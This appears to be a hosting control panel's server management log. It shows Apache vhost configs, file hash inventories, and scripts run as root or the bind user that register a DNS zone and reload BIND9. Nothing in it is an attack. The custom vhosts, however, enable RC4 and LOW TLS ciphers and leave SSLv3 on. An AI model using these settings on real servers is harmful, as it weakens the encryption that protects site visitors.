SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_mercury/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/mercury_secure_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf 1286
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/n-e-v_www_info.conf 1324
<VirtualHost *:80>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName n-e-v.info
ServerAlias www.n-e-v.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/27a452e75854403499effc104b58be29.crt
DocumentRoot /var/www/n-e-v_www
<Directory /var/www/n-e-v_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/n-e-v/www_secure_access.log combined
ErrorLog /var/log/apache2/n-e-v/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/pjy_mercury_us.conf)= 3651d7b01c1f5bca629305eff1589751
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 414903a1e0ac1e2a7e254dee74f79029
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 5d90c3a6ec5ceaeb02aac3e9c7f02169
MD5(/etc/apache2/sites-available/n-e-v_www_info.conf)= 593712aedaa094e34acf59bdae6305e2
MD5(/etc/ssl/certs/27a452e75854403499effc104b58be29.crt)= 841163e9ac1be7878375a4731722ce1b
link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2/sites-available/pjy_mercury_us.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2/sites-available/n-e-v_www_info.conf
STDERR:
/tmp/pkp781688:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-23 17:44:01: Establishing a connection
2025-12-23 17:44:03: Establishing a connection
2025-12-23 17:44:12: Establishing a connection
2025-12-23 17:44:12: Establishing a connection
2025-12-23 17:44:12:
PUT: /tmp/pkp969875
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-23 17:44:12:
runuser -l bind -s /bin/bash -c '/tmp/pkp969875; rm /tmp/pkp969875'
2025-12-23 17:44:12:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-23 17:44:12:
PUT: /tmp/pkp808158
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '954ebedf55cc0740293342780846a6cd'
ZONE_NAME = 'persianchurch.info'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-12-23 17:44:12:
chmod 755 /tmp/pkp808158; /tmp/pkp808158; rm /tmp/pkp808158
2025-12-23 17:44:12:
2025-12-23 17:44:12:
PUT: /tmp/pkp504452
#!/bin/bash
if [ -f "/usr/bin/yum" ]; then
echo status=not implemented
elif [ -f "/usr/bin/apt-get" ]; then
systemctl is-active --quiet bind9.service
retVal=$?
if [ $retVal -ne 0 ]; then
echo "status=Starting BIND9"
systemctl start bind9.service
else
echo "status=Reloading BIND9"
systemctl reload bind9.service
fi
fi
2025-12-23 17:44:12:
chmod 755 /tmp/pkp504452; /tmp/pkp504452; rm /tmp/pkp504452
2025-12-23 17:44:13:
status=Reloading BIND9
